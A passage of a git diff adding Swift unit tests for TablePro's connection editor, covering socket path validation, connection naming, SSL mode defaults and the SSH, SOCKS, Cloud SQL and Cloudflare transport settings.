path + return draft + } + + private func edits(_ draft: ConnectionDraft) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(draft, traits(draft.type), originalTraits: nil, EditorContext()) + } + + private func socketIssues(_ draft: ConnectionDraft) -> [String] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()) + .filter { $0.row == .builtIn(.localSocketPath) } + .map(\.message) + } + + // MARK: - MySQL + + @Test("Loading a socket connection selects Socket and fills the path") + func loadsSocketConnection() { + let draft = loaded(socketConnection()) + #expect(draft.endpoint == .localSocket) + #expect(draft.localSocketPath == "/tmp/mysql.sock") + #expect(ConnectionEditorEngine.usesLocalSocket(draft, traits(.mysql))) + } + + @Test("Loading a TCP connection stays on Host and Port") + func loadsTCPConnection() { + let draft = loaded(DatabaseConnection(name: "TCP", host: "db.internal", port: 3_306, type: .mysql)) + #expect(draft.endpoint == .hostAndPort) + #expect(draft.localSocketPath.isEmpty) + #expect(!ConnectionEditorEngine.usesLocalSocket(draft, traits(.mysql))) + } + + @Test("A stored socket under an SSH tunnel loads as Host and Port, since the tunnel is what connects") + func socketUnderTunnelLoadsAsHostAndPort() { + var connection = socketConnection() + connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + let draft = loaded(connection) + #expect(draft.endpoint == .hostAndPort) + #expect(draft.localSocketPath.isEmpty) + } + + @Test("Writing in Socket mode stores the trimmed path with ~ expanded") + func writesTrimmedExpandedPath() { + #expect(edits(socketDraft(path: " /tmp/mysql.sock\n")).additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect( + edits(socketDraft(path: "~/run/mysqld.sock")).additionalFields[MySQLLocalSocket.fieldKey] + == NSHomeDirectory() + "/run/mysqld.sock" + ) + } + + @Test("Host and Port mode writes no socket, even with a path typed earlier") + func hostAndPortWritesNoSocket() { + var draft = socketDraft(path: "/tmp/mysql.sock") + draft.selectEndpoint(.hostAndPort) + #expect(edits(draft).additionalFields[MySQLLocalSocket.fieldKey] == nil) + #expect(socketIssues(draft).isEmpty) + } + + @Test("An empty socket path blocks Save and names the field") + func emptyPathIsRequired() { + let required = String(format: String(localized: "%@ is required"), String(localized: "Socket")) + #expect(socketIssues(socketDraft(path: " ")) == [required]) + } + + @Test("A relative socket path blocks Save") + func relativePathIsRejected() { + #expect(socketIssues(socketDraft(path: "mysql.sock")) == [MySQLLocalSocket.PathIssue.notAbsolute.message]) + } + + @Test("A path past macOS's 103-byte limit blocks Save with its length") + func longPathIsRejected() { + let path = "/" + String(repeating: "a", count: 103) + #expect(socketIssues(socketDraft(path: path)) == [MySQLLocalSocket.PathIssue.tooLong(bytes: 104).message]) + #expect(socketIssues(socketDraft(path: "/" + String(repeating: "a", count: 102))).isEmpty) + } + + @Test("A path under ~ is checked after expanding it, so it is absolute") + func tildePathIsAbsolute() { + #expect(socketIssues(socketDraft(path: "~/mysql.sock")).isEmpty) + } + + @Test("Changing the type to Redshift drops the socket") + func typeChangeDropsSocket() { + let redshift = traits(.redshift) + var draft = socketDraft(path: "") + draft.retype(to: redshift, from: traits(.mysql)) + #expect(!redshift.supportsLocalSocket) + #expect(!ConnectionEditorEngine.usesLocalSocket(draft, redshift)) + #expect(edits(draft).additionalFields[MySQLLocalSocket.fieldKey] == nil) + #expect(socketIssues(draft).isEmpty) + } + + @Test("Socket is offered for MySQL, MariaDB and PostgreSQL only") + func socketIsOfferedPerType() { + let cases: [(type: DatabaseType, offered: Bool)] = [ + (.mysql, true), (.mariadb, true), (.tidb, false), (.oceanbase, false), + (.databend, false), (.postgresql, true), (.redshift, false), (.cockroachdb, false), + (DatabaseType(rawValue: "PGlite"), false), (.sqlite, false) + ] + for entry in cases { + let traits = traits(entry.type) + #expect(traits.supportsLocalSocket == entry.offered, "\(entry.type.rawValue)") + let layout = ConnectionEditorEngine.layout(ConnectionDraft.new(type: entry.type, traits: traits), traits, EditorContext()) + #expect(layout.contains(.builtIn(.endpointKind)) == entry.offered, "\(entry.type.rawValue)") + } + } + + @Test("The prompt is the socket path a Homebrew or installer MySQL uses") + func promptIsTheDefaultSocket() { + #expect(traits(.mariadb).defaultLocalSocketPath == "/tmp/mysql.sock") + } + + // MARK: - PostgreSQL + + // The Socket row offers these folders only when the path names a directory. + @Test("PostgreSQL offers Socket, prompts /tmp and suggests the common folders") + func postgresOffersSocket() { + let postgres = traits(.postgresql) + #expect(postgres.supportsLocalSocket) + #expect(postgres.localSocketIsDirectory) + #expect(postgres.defaultLocalSocketPath == "/tmp") + #expect(PostgreSQLLocalSocket.commonDirectories == ["/tmp", "/var/run/postgresql"]) + #expect(!traits(.mysql).localSocketIsDirectory) + } + + @Test("Socket leaves Direct only and drops SSL, and the connection rows report nothing") + func postgresSocketDropsSSL() { + let postgres = traits(.postgresql) + var draft = socketDraft(.postgresql, path: "/tmp") + draft.selectSSLMode(.required) + draft.ssl.clientCertPath = "/tmp/client.crt" + + #expect(ConnectionEditorEngine.availableTransports(draft, postgres) == [nil]) + #expect(postgres.supportsSSL) + #expect(!ConnectionEditorEngine.showsSSL(draft, postgres)) + let layout = ConnectionEditorEngine.layout(draft, postgres, EditorContext()) + let connectionRows = layout.facet(.general)?.sections.first { $0.id == "connection" }?.rows ?? [] + var issues = ConnectionEditorEngine.issues(draft, postgres, EditorContext(), layout: layout) + #expect(!issues.contains { $0.row == .builtIn(.sslClientKey) }) + #expect(!issues.contains { connectionRows.contains($0.row) }) + + draft.selectEndpoint(.hostAndPort) + #expect(ConnectionEditorEngine.showsSSL(draft, postgres)) + issues = ConnectionEditorEngine.issues(draft, postgres, EditorContext()) + #expect(issues.contains { $0.row == .builtIn(.sslClientKey) }) + } + + @Test("A MySQL socket keeps its SSL settings") + func mysqlSocketKeepsSSL() { + let mysql = traits(.mysql) + let draft = socketDraft(path: "/tmp/mysql.sock") + #expect(ConnectionEditorEngine.showsSSL(draft, mysql)) + #expect(ConnectionEditorEngine.layout(draft, mysql, EditorContext()).facet(.sslTLS) != nil) + } + + @Test("A folder is saved with the port, and the port names the socket file") + func savesDirectoryAndPort() { + let edits = edits(socketDraft(.postgresql, path: "/var/run/postgresql/", port: "5434")) + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/var/run/postgresql") + #expect(edits.port == 5_434) + + let connection = edits.applied(to: DatabaseConnection(name: "")) + #expect(connection.localSocketFile == "/var/run/postgresql/.s.PGSQL.5434") + #expect(connection.transportSSLConfiguration.mode == .disabled) + } + + @Test("A socket file is saved as its folder and the port in its name") + func savesSocketFileAsDirectory() { + let edits = edits(socketDraft(.postgresql, path: "/tmp/.s.PGSQL.5433", port: "5432")) + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp") + #expect(edits.port == 5_433) + } + + @Test("A relative path, a comma and a socket file over 103 bytes block Save") + func postgresPathIssues() { + #expect(socketIssues(socketDraft(.postgresql, path: "")).count == 1) + #expect(socketIssues(socketDraft(.postgresql, path: "run/postgresql")) == [PostgreSQLLocalSocket.PathIssue.notAbsolute.message]) + #expect(socketIssues(socketDraft(.postgresql, path: "/tmp,/var/run")) == [PostgreSQLLocalSocket.PathIssue.comma.message]) + + let directory = "/" + String(repeating: "a", count: 88) + #expect(socketIssues(socketDraft(.postgresql, path: directory, port: "5432")).isEmpty) + #expect( + socketIssues(socketDraft(.postgresql, path: directory, port: "54321")) + == [PostgreSQLLocalSocket.PathIssue.tooLong(bytes: 104).message] + ) + } + + @Test("The direct summary names the socket and says no SSL is used") + func directSummary() { + let summary = ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: true) + #expect(summary != ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: false)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineNameTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineNameTests.swift new file mode 100644 index 0000000000..ff9f6e4e5b --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineNameTests.swift @@ -0,0 +1,80 @@ +// +// ConnectionEditorEngineNameTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineNameTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + @Test("A server is named after its host and database, or its host alone") + func serverNames() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = " db.example.com " + draft.database = "orders" + #expect(ConnectionEditorEngine.suggestedName(draft, postgres) == "db.example.com/orders") + + draft.database = "" + #expect(ConnectionEditorEngine.suggestedName(draft, postgres) == "db.example.com") + } + + @Test("A form that names no server is named after its type") + func typeNameWhenNothingIsTyped() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = "" + draft.database = "" + #expect(ConnectionEditorEngine.suggestedName(draft, postgres) == postgres.displayName) + } + + @Test("A file type is named after its file, without the extension") + func fileNames() throws { + let sqlite = traits(.sqlite) + try #require(sqlite.connectionMode == .fileBased) + var draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + draft.database = "/Users/me/Shop.sqlite" + #expect(ConnectionEditorEngine.suggestedName(draft, sqlite) == "Shop") + + draft.database = "" + #expect(ConnectionEditorEngine.suggestedName(draft, sqlite) == sqlite.displayName) + } + + @Test("A typed name wins; an empty one saves as the saved name, else as the suggestion") + func effectiveName() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = "db.example.com" + var context = EditorContext() + + draft.name = " " + #expect(ConnectionEditorEngine.effectiveName(draft, postgres, context) == "db.example.com") + + context.savedName = "Orders" + #expect(ConnectionEditorEngine.effectiveName(draft, postgres, context) == "Orders") + #expect(ConnectionEditorEngine.edits(draft, postgres, originalTraits: postgres, context).name == "Orders") + + draft.name = "Billing" + #expect(ConnectionEditorEngine.effectiveName(draft, postgres, context) == "Billing") + } + + @Test("No registered type ever raises an issue on Name") + func nameNeverHasAnIssue() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.name = "" + let issues = ConnectionEditorEngine.issues(draft, traits, EditorContext()) + #expect(!issues.contains { $0.row == .builtIn(.name) }, "\(type.rawValue)") + #expect(!ConnectionEditorEngine.effectiveName(draft, traits, EditorContext()).isEmpty, "\(type.rawValue)") + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineSSLTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineSSLTests.swift new file mode 100644 index 0000000000..8d772f2dda --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineSSLTests.swift @@ -0,0 +1,178 @@ +// +// ConnectionEditorEngineSSLTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineSSLTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func sslIssues(for type: DatabaseType, mode: SSLMode, caCertPath: String = "") -> [FieldIssue] { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.selectSSLMode(mode) + draft.ssl.caCertPath = caCertPath + return ConnectionEditorEngine.issues(draft, traits, EditorContext()).filter { $0.facet == .sslTLS } + } + + // MARK: - Defaults + + @Test("A new connection starts on its engine's native SSL default, and an unknown engine on Disabled") + func newConnectionTakesTheNativeDefault() { + let expected: [(DatabaseType, SSLMode)] = [ + (.postgresql, .preferred), + (.mssql, .preferred), + (.redis, .disabled), + (DatabaseType(rawValue: "FutureDB"), .disabled) + ] + for (type, mode) in expected { + let draft = ConnectionDraft.new(type: type, traits: traits(type)) + #expect(draft.ssl.mode == mode, "\(type.rawValue)") + #expect(draft.ssl.origin == .typeDefault, "\(type.rawValue)") + } + } + + @Test("A mode nobody picked takes the new engine's default on a retype") + func unchosenModeFollowsTheNewType() { + let postgres = traits(.postgresql) + let redis = traits(.redis) + let fromPostgres = ConnectionDraft.new(type: .postgresql, traits: postgres) + #expect(fromPostgres.retyped(to: redis, from: postgres).result.ssl.mode == .disabled) + + let fromRedis = ConnectionDraft.new(type: .redis, traits: redis) + #expect(fromRedis.retyped(to: postgres, from: redis).result.ssl.mode == .preferred) + #expect(fromRedis.retyped(to: traits(.mssql), from: redis).result.ssl.mode == .preferred) + let future = traits(DatabaseType(rawValue: "FutureDB")) + #expect(fromRedis.retyped(to: future, from: redis).result.ssl.mode == .disabled) + } + + // MARK: - CA certificate + + @Test("Verify Identity without a CA file saves for SAP HANA and Kafka, which trust the system roots") + func systemTrustStoreEnginesNeedNoCAFile() { + for type in [DatabaseType.sapHana, .kafka] { + #expect(type.verifiesServerWithSystemTrust) + #expect(sslIssues(for: type, mode: .verifyIdentity).isEmpty, "\(type.rawValue)") + } + } + + @Test("Verify Identity without a CA file is refused for engines that need one") + func fileTrustEnginesStillRequireACAFile() { + #expect(!DatabaseType.mysql.verifiesServerWithSystemTrust) + let issues = sslIssues(for: .mysql, mode: .verifyIdentity) + #expect(issues.count == 1) + #expect(issues.first?.row == .builtIn(.sslCACertificate)) + #expect(sslIssues(for: .mysql, mode: .verifyIdentity, caCertPath: "/tmp/ca.pem").isEmpty) + } + + @Test( + "The libpq engines save Verify Identity without a CA file and still need one for Verify CA", + arguments: [DatabaseType.postgresql, .redshift, .cockroachdb, .kingbasees] + ) + func libpqEnginesNeedACAFileOnlyForVerifyCA(type: DatabaseType) { + #expect(type.verifiesServerWithSystemTrust) + #expect(sslIssues(for: type, mode: .verifyIdentity).isEmpty) + #expect(sslIssues(for: type, mode: .verifyCa).count == 1) + #expect(sslIssues(for: type, mode: .verifyCa, caCertPath: "/tmp/ca.pem").isEmpty) + } + + // MARK: - Port + + @Test("A Trino port of 443 escalates the type default to Verify Identity, and another port reverts it") + func portFollowsTheTLSPort() { + let trino = traits(.trino) + var draft = ConnectionDraft.new(type: .trino, traits: trino) + + draft.setPort("443", traits: trino) + #expect(draft.ssl.mode == .verifyIdentity) + #expect(draft.ssl.origin == .impliedByPort) + + draft.setPort("4430", traits: trino) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .typeDefault) + } + + @Test("A selected mode is never changed by the port") + func selectedModeIgnoresThePort() { + let trino = traits(.trino) + var draft = ConnectionDraft.new(type: .trino, traits: trino) + draft.selectSSLMode(.disabled) + + draft.setPort("443", traits: trino) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .chosen) + } + + @Test("A stored Disabled on port 443 is still the type default, so editing the port escalates it") + func loadedDefaultModeCanStillEscalate() { + let trino = traits(.trino) + let connection = DatabaseConnection( + name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .disabled) + ) + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: trino) + #expect(draft.ssl.origin == .typeDefault) + + draft.setPort("443", traits: trino) + #expect(draft.ssl.mode == .verifyIdentity) + } + + @Test("A stored Verify Identity is a choice, so moving off port 443 keeps it") + func loadedNonDefaultModeIsAChoice() { + let trino = traits(.trino) + let connection = DatabaseConnection( + name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .verifyIdentity) + ) + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: trino) + #expect(draft.ssl.origin == .chosen) + + draft.setPort("8080", traits: trino) + #expect(draft.ssl.mode == .verifyIdentity) + } + + @Test("A type with no TLS ports ignores the port") + func typeWithoutTLSPortsIgnoresThePort() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + + draft.setPort("443", traits: postgres) + #expect(draft.ssl.mode == .preferred) + #expect(draft.ssl.origin == .typeDefault) + } + + // MARK: - Import + + @Test("An imported explicit mode is a choice, and an import with no mode follows the port") + func importedModes() { + let trino = traits(.trino) + var draft = ConnectionDraft.new(type: .trino, traits: trino) + + draft.applyImportedSSL(SSLModeResolution(mode: .required, origin: .chosen)) + #expect(draft.ssl.mode == .required) + #expect(draft.ssl.origin == .chosen) + + draft.applyImportedSSL(DatabaseType.trino.sslModeResolution(forPort: 443)) + #expect(draft.ssl.mode == .verifyIdentity) + #expect(draft.ssl.origin == .impliedByPort) + + draft.setPort("8080", traits: trino) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .typeDefault) + } + + @Test("An imported ssl=false turns SSL off even where the driver defaults to Preferred") + func importedSSLFalseIsDisabled() throws { + let parsed = try ConnectionURLParser.parse("mysql://root@db.example.com/shop?ssl=false").get() + var draft = ConnectionDraft.new(type: .mysql, traits: traits(.mysql)) + draft.applyImportedSSL(parsed.sslModeResolution) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .chosen) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift new file mode 100644 index 0000000000..7f8c217e19 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift @@ -0,0 +1,269 @@ +// +// ConnectionEditorEngineTransportIssueTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineTransportIssueTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func draft(_ type: DatabaseType, transport: ConnectionTunnelKind?) -> ConnectionDraft { + var draft = ConnectionDraft.new(type: type, traits: traits(type)) + draft.name = "Remote" + draft.selectTransport(transport) + return draft + } + + private func transportIssues(_ draft: ConnectionDraft) -> [FieldIssue] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()).filter { $0.facet == .sshAndProxies } + } + + private func messages(_ draft: ConnectionDraft, on row: BuiltInRow) -> [String] { + transportIssues(draft).filter { $0.row == .builtIn(row) }.map(\.message) + } + + // MARK: - Remote File + + // A check that answered whenever SSH was on once disabled Save on every tunnelled MySQL and PostgreSQL connection. + @Test("An SSH-tunnelled network connection is never asked for a remote file path") + func networkConnectionWithTunnelStaysValid() { + for type in [DatabaseType.mysql, .postgresql] { + var draft = draft(type, transport: .ssh) + draft.ssh.host = "bastion.example.com" + draft.ssh.username = "deploy" + + #expect(transportIssues(draft).isEmpty, "\(type.rawValue)") + } + } + + @Test("A file-backed connection on Remote File with no path is told what is missing") + func fileBackedConnectionRequiresAPath() { + var draft = draft(.sqlite, transport: .remoteFile) + draft.ssh.host = "prod-1" + draft.ssh.username = "deploy" + draft.ssh.remoteFilePath = "" + + let issues = transportIssues(draft) + #expect(issues.count == 1) + #expect(issues.first?.row == .builtIn(.remoteFilePath)) + } + + @Test("A file-backed connection naming both a server and a path has nothing to report") + func completeRemoteFileIsValid() { + var draft = draft(.sqlite, transport: .remoteFile) + draft.ssh.host = "prod-1" + draft.ssh.username = "deploy" + draft.ssh.remoteFilePath = "/srv/app.db" + + #expect(transportIssues(draft).isEmpty) + } + + @Test("Direct leaves no remote file to validate") + func directReportsNothing() { + #expect(transportIssues(draft(.sqlite, transport: nil)).isEmpty) + } + + // MARK: - SOCKS proxy + + @Test("Direct reports no SOCKS issues") + func socksDirectNoIssues() { + var draft = draft(.postgresql, transport: nil) + draft.socksProxy.host = "" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A SOCKS proxy requires a host, in SSH & Proxies") + func socksRequiresHost() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = " " + #expect(messages(draft, on: .socksHost).contains { $0.localizedCaseInsensitiveContains("host") }) + + draft.socksProxy.host = "proxy.example.com" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A SOCKS proxy port must be in range") + func socksPortRange() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = "proxy.example.com" + + draft.socksProxy.port = "70000" + #expect(messages(draft, on: .socksPort).contains { $0.localizedCaseInsensitiveContains("port") }) + + draft.socksProxy.port = "not-a-port" + #expect(messages(draft, on: .socksPort).contains { $0.localizedCaseInsensitiveContains("port") }) + + draft.socksProxy.port = "1080" + #expect(transportIssues(draft).isEmpty) + } + + @Test("SOCKS credentials are optional") + func socksCredentialsOptional() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = "proxy.example.com" + draft.socksProxy.username = "" + draft.socksProxy.password = "" + #expect(transportIssues(draft).isEmpty) + } + + // MARK: - Cloud SQL Auth Proxy + + @Test("Direct reports no Cloud SQL issues") + func cloudSQLDirectNoIssues() { + var draft = draft(.postgresql, transport: nil) + draft.cloudSQLProxy.instanceConnectionName = "bad" + #expect(transportIssues(draft).isEmpty) + } + + @Test("Cloud SQL requires a well-formed instance connection name") + func cloudSQLRequiresInstanceName() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "bad" + #expect(!messages(draft, on: .cloudSQLInstance).isEmpty) + + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A manual Cloud SQL port must be in range") + func cloudSQLManualPortRange() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + draft.cloudSQLProxy.automaticPort = false + + draft.cloudSQLProxy.localPort = "70000" + #expect(!messages(draft, on: .cloudSQLLocalPort).isEmpty) + + draft.cloudSQLProxy.localPort = "5432" + #expect(transportIssues(draft).isEmpty) + } + + @Test("Service account key mode requires a key") + func cloudSQLServiceAccountKeyRequired() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + draft.cloudSQLProxy.authMode = .serviceAccountKey + + draft.cloudSQLProxy.serviceAccountKeyJSON = "" + #expect(!messages(draft, on: .cloudSQLServiceAccountKey).isEmpty) + + draft.cloudSQLProxy.serviceAccountKeyJSON = "{\"type\":\"service_account\"}" + #expect(transportIssues(draft).isEmpty) + } + + // MARK: - Cloudflare Tunnel + + @Test("Direct reports no Cloudflare issues") + func cloudflareDirectNoIssues() { + var draft = draft(.postgresql, transport: nil) + draft.cloudflare.accessHostname = "" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A Cloudflare tunnel requires a hostname") + func cloudflareRequiresHostname() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = " " + #expect(messages(draft, on: .cloudflareHostname).contains { $0.localizedCaseInsensitiveContains("hostname") }) + } + + @Test("A manual Cloudflare port must be within range") + func cloudflarePortRange() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.automaticPort = false + draft.cloudflare.localPort = "70000" + #expect(messages(draft, on: .cloudflareLocalPort).contains { $0.localizedCaseInsensitiveContains("port") }) + } + + @Test("Service token mode requires an id and a secret") + func cloudflareServiceTokenRequired() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.authMethod = .serviceToken + #expect(!transportIssues(draft).isEmpty) + } + + @Test("A valid browser sign-in configuration has no issues") + func cloudflareValidBrowserConfig() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.authMethod = .browserSSO + #expect(transportIssues(draft).isEmpty) + } + + // MARK: - SSH forward to a socket + + @Test("An absolute socket file path gets no advice") + func acceptsAbsoluteSocketPath() { + #expect(SSHForwardSocketAdvice.of(path: "/var/run/postgresql/.s.PGSQL.5432") == nil) + } + + @Test("An empty path gets no advice, because the field is optional") + func emptyPathIsFine() { + #expect(SSHForwardSocketAdvice.of(path: "") == nil) + #expect(SSHForwardSocketAdvice.of(path: " ") == nil) + } + + @Test("A relative path is flagged") + func flagsRelativePath() { + #expect(SSHForwardSocketAdvice.of(path: "var/run/postgresql") == .notAbsolute) + } + + @Test("A trailing slash is flagged, because ssh forwards to the socket file, not its directory") + func flagsDirectoryPath() { + #expect(SSHForwardSocketAdvice.of(path: "/var/run/postgresql/") == .looksLikeDirectory) + } + + @Test("Loading a tunnelled connection fills the socket path and forwards to it") + func loadsSocketPath() { + var connection = DatabaseConnection(name: "socket", host: "db.internal", port: 5_432, type: .postgresql) + connection.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" + connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(.postgresql)) + + #expect(draft.sshForwardUnixSocketPath == "/var/run/postgresql/.s.PGSQL.5432") + #expect(ConnectionEditorEngine.forwardsToUnixSocket(draft)) + } + + @Test("Writing trims the socket path") + func writeTrimsSocketPath() { + let postgres = traits(.postgresql) + var draft = draft(.postgresql, transport: .ssh) + draft.sshForwardUnixSocketPath = " /var/run/postgresql/.s.PGSQL.5432 " + + let fields = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).additionalFields + + #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == "/var/run/postgresql/.s.PGSQL.5432") + } + + @Test("Writing an empty socket path stores nothing") + func writeOmitsEmptySocketPath() { + let postgres = traits(.postgresql) + var draft = draft(.postgresql, transport: .ssh) + draft.sshForwardUnixSocketPath = " " + + let fields = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).additionalFields + + #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == nil) + #expect(!ConnectionEditorEngine.forwardsToUnixSocket(draft)) + } + + // The field's prompt is the type's own path, and a generic one when the type has none. + @Test("The socket path prompt follows the database type") + func socketPromptFollowsType() { + #expect(traits(.mysql).defaultUnixSocketPath == "/var/run/mysqld/mysqld.sock") + #expect(traits(.postgresql).defaultUnixSocketPath == "/var/run/postgresql/.s.PGSQL.5432") + #expect(traits(.clickhouse).defaultUnixSocketPath == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportTests.swift new file mode 100644 index 0000000000..f339241239 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportTests.swift @@ -0,0 +1,447 @@ +// +// ConnectionEditorEngineTransportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +// One transport at a time: two enabled at once made `activeTunnelKind` answer nil and the connect go direct. +@MainActor +struct ConnectionEditorEngineTransportTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func draft(_ type: DatabaseType = .mysql) -> ConnectionDraft { + ConnectionDraft.new(type: type, traits: traits(type)) + } + + private func edits(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(draft, traits, originalTraits: nil, EditorContext()) + } + + // The modes the record would carry, in the order the connect path reads them. + private func enabledKinds(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [ConnectionTunnelKind] { + let edits = edits(draft, traits) + var kinds: [ConnectionTunnelKind] = [] + if edits.sshTunnelMode != .disabled { kinds.append(.ssh) } + if edits.cloudflareTunnelMode != .disabled { kinds.append(.cloudflare) } + if edits.cloudSQLProxyMode != .disabled { kinds.append(.cloudSQLProxy) } + if edits.socksProxyMode != .disabled { kinds.append(.socksProxy) } + if edits.tunnelCommandMode != .disabled { kinds.append(.tunnelCommand) } + return kinds + } + + private func duckdb(mode: String) -> ConnectionDraft { + var draft = draft(.duckdb) + draft.setFieldValue(mode, for: "duckdbMode") + draft.setFieldValue("quack.internal", for: "duckdbHost") + return draft + } + + private func importing(_ url: String) throws -> (draft: ConnectionDraft, traits: ConnectionTypeTraits) { + let parsed = try ConnectionURLParser.parse(url).get() + let traits = traits(parsed.type) + var draft = ConnectionDraft.new(type: parsed.type, traits: traits) + draft.apply(parsed, traits: traits, policy: .newConnection) + return (ConnectionEditorEngine.normalized(draft, traits), traits) + } + + // MARK: - Selection + + @Test("A new connection is direct") + func defaultsToDirect() { + let mysql = traits(.mysql) + let draft = draft() + #expect(draft.transport == nil) + #expect(enabledKinds(draft, mysql).isEmpty) + } + + @Test("Selecting a transport enables exactly that one") + func selectionIsExclusive() { + let mysql = traits(.mysql) + for kind in ConnectionTunnelKind.formToggleable { + var draft = draft() + draft.selectTransport(kind) + #expect(enabledKinds(draft, mysql) == [kind], "\(kind) did not enable alone") + #expect(draft.transport == kind, "\(kind) did not round-trip") + } + } + + @Test("Switching transport disables the previous one") + func switchingDisablesPrevious() { + let mysql = traits(.mysql) + for first in ConnectionTunnelKind.formToggleable { + for second in ConnectionTunnelKind.formToggleable where second != first { + var draft = draft() + draft.selectTransport(first) + draft.selectTransport(second) + #expect(enabledKinds(draft, mysql) == [second], "\(first) survived a switch to \(second)") + } + } + } + + @Test("Selecting direct disables every transport") + func directDisablesEverything() { + let mysql = traits(.mysql) + var draft = draft() + draft.selectTransport(.socksProxy) + draft.selectTransport(nil) + #expect(draft.transport == nil) + #expect(enabledKinds(draft, mysql).isEmpty) + } + + @Test("Switching away keeps the transport's configuration for switching back") + func switchingPreservesConfiguration() { + var draft = draft() + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + draft.ssh.username = "deploy" + + draft.selectTransport(.socksProxy) + #expect(draft.ssh.host == 